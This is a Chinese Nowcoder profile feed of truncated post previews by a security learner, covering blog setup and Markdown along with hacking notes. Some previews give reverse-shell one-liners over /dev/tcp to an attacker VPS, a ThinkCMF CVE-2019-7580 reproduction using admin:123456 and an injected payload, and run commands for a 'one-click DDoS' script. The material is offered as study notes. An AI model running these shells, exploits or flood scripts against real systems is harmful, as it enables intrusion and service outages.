wjl110 - 个人主页动态 - 牛客网

发布(31) 评论刷题

2022-04-22 11:13

已编辑

香港岭南大学产品经理

反弹shell命令学习笔记(命令在Mac里执行,反弹到kali机)sudo su 后连接必反弹

反弹shell命令(命令在Mac里执行,反弹到kali机)sudo su 后连接必反弹 搭了个技术博客,点我传送 Mac端监听命令没有nc -lvp port 只有 nc -lv (或-lvv) port Mac➡️kali : sudo su zsh -i > /dev/tcp/监听ip/监听端口 (ls,pwd,whoami,cd /tmp,) kali机:监听端口并且实时回显信息 nc -lvnp 监听端口 单方通信nc Mac: nc -lv 7777 kali: nc -v 10.211.55.2(Mac:ip) 7777 实操nc Mac:...

0 点赞评论收藏

分享

2022-04-22 11:13

香港岭南大学产品经理

MarkDown语法学习教程,2分钟学会速写个人GitHub,轻量化,快捷,迅速,方便.

Markdown 语法： 使用 GitHub Flavored Markdown 语法，简称 GFM 语法。 支持表格、TOC、LaTeX、代码块、任务列表、脚注等。 画图库支持 mermaid, viz, ECharts, PlantUML, Sequence, Flow。 Markdown 辅助： 支持截图并粘贴、复制并粘贴、拖拽等方式插入图片并直接显示在编辑器内。 在兼容 Markdown 语法的情况下支持设置图片宽度。 好用的表格插入和 LaTeX 书写辅助。 Markdown 输出： 支持导出为图片、HTML、Epub、PDF、RTF、Docx。 ...

0 点赞评论收藏

分享

2022-04-22 11:13

已编辑

香港岭南大学产品经理

网安学习路线,最详细没有之一、看了这么多分享网安学习路线的一个详细的都没有~~

这是一个关于我的故事 1.、如果你也喜欢搭建个人博客可看我写的[这篇]文章 2、搭了个技术博客,点我传送 这一切都要从21年10月第一次接触网络端口扫描工具nmap说起: 那天想看家里人用了哪些端口,Mac命令行brew安装了一个端口扫描工具“nmap”,从此,遨游网络的故事就开始了 先后安装了Nessus,AWVS,Burp Suite…… 于是一发不可收拾,感受到的就是惊喜和惊讶😺, 互联网的安全世界如此奇妙 于是接着步入了web的世界 接踵而至的是metasploit，SQLmap，AWVS,，Nmap,蚁剑，冰蝎，CS,fscan，nmap，Nessus，g...

0 点赞评论收藏

分享

2022-04-22 11:12

已编辑

香港岭南大学产品经理

Mac/Linux平台命令行的大部分问题解决办法.包括:切换编译环境、mysql启动命令、查看mysql位置、Apache服务启动、,php(oracle)的安装设置环境变量,zsh:权限不够解决办法

切换到anaconda的大环境使用python 把wjl更换为你的用户名即可 . /Users/wjl/opt/anaconda3/bin/activate && conda activate /Users/wjl/opt/anaconda3; 切换pip 2.7环境,安装python2依赖 /opt/local/Library/Frameworks/Python.framework/Versions/2.7/bin/pip install 模块名 vps端口映射(适用于反弹shell端口)的使用 百度下载natapp cd 到下载到...

0 点赞评论收藏

分享

2022-04-22 11:12

已编辑

香港岭南大学产品经理

HEXO+GitHub+DNS配置个人博客实战指南,手把手教你搭建个人博客,自己建站

HEXO+GitHub个人博客实战指南 先看看成果吧⬇️ 网站效果传送带https://wjl110.xyz 测试命令 本地测试: cd Desktop/xxx.com hexo cl & hexo g & hexo -p(端口) 54321 server 发布github: hexo cl & hexo g & hexo d 正文开始 点击下方官方文档查看hexo的安装 hexo官方文档 点击下方官方主题进行选择 选择主题点这里 选择自己的主题:我选择的是极光主题 生成的文件主题和配置 config配置...

0 点赞评论收藏

分享

2022-04-22 11:11

已编辑

香港岭南大学产品经理

ddos(分布式拒绝服务攻击)分为两种**直接攻击**/**反弹攻击(间接攻击)ddos及对抗方法ip溯源的实现原理和防御措施

ddos(分布式拒绝服务攻击)分为两种直接攻击/反弹攻击(间接攻击) ddos的实现原理是基于tcp/ip的三次握手实现的 攻击者将发送ip设置为虚假ip,受访者在进行第二次握手时,不能判断ip真伪,向源地址发送响应包,并且等待第三次握手,随时间响应丢失,却占用cpu和内存 直接攻击(控制肉鸡发送大量虚假请求) 就是通过大量的这种虚假连接，消耗主机资源，造成主机资源枯竭，从而导致正常的用户不能进行正常访问。 反弹攻击(反弹shell??)(模拟正常用户访问) 是将包含假受害者的ip数据包发送到一些反射体上，反射体收到数据包后将响应数据包直接发送到受害者，大量响应数据包将占用受害者...

0 点赞评论收藏

分享

2022-04-22 11:11

已编辑

香港岭南大学产品经理

[博客搭建]个人博客GitHub page+ hexo 优化+配置+页面布局

wjl110.xyz 可以体验一下 正文开始: https://vercel.com 进入注册登录即可 新建项目 导入你需要配置的项目: 项目导入后 第一栏填项目的名字:xxx 第二栏填构建项目的框架 ps:如果是静态hexo就选other 第四栏选择网站执行目录 hexo默认为/public 我的为/ 点击部署即可 即生成如下页面 进入画面开始部署你的项目 可以看到项目部署成功: 自定义这里设置: 按照如下配置就可以 如果在设置中遇到了什么问题可以直接留言给我,或者查看官方文档 官方文档

0 点赞评论收藏

分享

2022-04-22 11:10

已编辑

香港岭南大学产品经理

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i ＞& /dev/tcp/vps的ip/vps的端口 0＞&1

文章目录 前言 为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯) 作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1 更容易阅读的版本在这里,点击传送 常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1 何为shell Shell 脚本（shell scri...

0 点赞评论收藏

分享

2022-04-22 11:10

已编辑

香港岭南大学产品经理

[vulfocus漏洞复现]thinkcmf 代码执行漏洞复现（CVE-2019-7580）phpinfo()；ThinkCMF是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPH

前言 ThinkCMF是一款支持Swoole的开源内容管理框架(CMF),基于ThinkPHP开发. thinkcmf5.0.19 这个版本后台提供路由自定义，其中路由的别名对单引号缺少过滤，导致引发漏洞。 文章也会在这里同步 0x01进入后台 进入后台路径为:http://ip:port/admin 0x02我们这里使用弱口令登录 账户密码：admin:123456 0x03进入添加分类页面 依次进入 1、门户管理 2、分类管理 3、添加分类 分类名称随便填 分类别名输入poc: 1'=>array(""),phpinfo...

0 点赞评论收藏

分享

2022-04-22 11:09

已编辑

香港岭南大学产品经理

逆向工程师逆向还原APP和代码，国产化就是这样

二进制逆向： 将获得的代码解包，用二进制软件打开 ### 发现是用python代码写的程序，用解包程序反编译 ### 用vscode自带的hex进行逆向解码 ### 解开就得到了.pyc文件### 将反编译的.py文件里的代码逆向还原为flag即可获取到flag 写作耗时20分钟

0 点赞评论收藏

分享

2022-04-22 11:08

已编辑

香港岭南大学产品经理

【学习笔记】--mooc--教学研究的数据处理与工具应用（问卷+问卷星的使用+SPSS的下载、安装、使用、入门）--华南师范大学

本人于mooc网学习笔记整理，转载需标明出处* 若有错误，欢迎指正 关于用 《教学研究》的简单例子来讲述数据处理 即 ：研究学生的相关数据对学生成绩的影响 课程大纲： 第一章-概论 1.三种处理方法* 2.课程学习目的 3.提升的能力有哪些？ 4.选择适合自己的高效学习方式进行学习 第二章-数据来源 1.学生数据* 2.教师数据 第三章-数据分析 tips：数据分析流程* 学生成绩分析： 实验组 vs 对照组 实验前 成绩比较： 试验中： 实验后： 成绩比较和p值差异分析 结论： 研究方法： 以数据分析来支撑研究结论。 过...

0 点赞评论收藏

分享

2022-04-22 11:07

已编辑

香港岭南大学产品经理

代码和人有一个能跑就刑*一键ddos攻击源码,体验命令行飞速刷屏的感觉

ddos攻击笔记 版本:Mac book Air M1芯片 文章仅做学习技术交流,不得用于非法活动 点击我查看攻击小视频效果展示(时长:19秒) shot on iphone cd DDOS-Attack chmod +x ddos-attack.py python ddos-attack.py ip:填攻击IP地址(不能写http的形式) port:填攻击端口 shot on iphone: 代码和人有一个能跑就刑,一键ddos攻击源码,体验命令行飞速刷屏的感觉(我看刑) kali语法 版本:parallels虚拟机k...

0 点赞评论收藏

分享

2022-04-22 13:34

已编辑

香港岭南大学产品经理

<span role="heading" aria-level="2">Markdown编辑器学习</span>

欢迎使用 MWeb MWeb 是专业的 Markdown 写作、记笔记、静态博客生成软件，目前已支持 Mac，iPad 和 iPhone。MWeb 有以下特色： 软件本身： 使用原生的 macOS 技术打造，追求与系统的完美结合。 原则上，首先是追求界面简洁和高性能，然后才是强大易用，功能全面。 Markdown 语法： 使用 GitHub Flavored Markdown 语法，简称 GFM 语法。 支持表格、TOC、LaTeX、代码块、任务列表、脚注等。 画图库支持 mermaid, viz, ECharts, PlantUML, Sequence,...

0 点赞评论收藏

分享

2021-06-03 12:13

香港岭南大学产品经理

在牛客打卡3天，今天也很努力鸭！

0 点赞评论收藏

分享

2019-08-09 16:36

香港岭南大学产品经理

在牛客打卡2天，今天也很努力鸭！

0 点赞评论收藏

分享

关注他的用户也关注了：

牛客网
牛客企业服务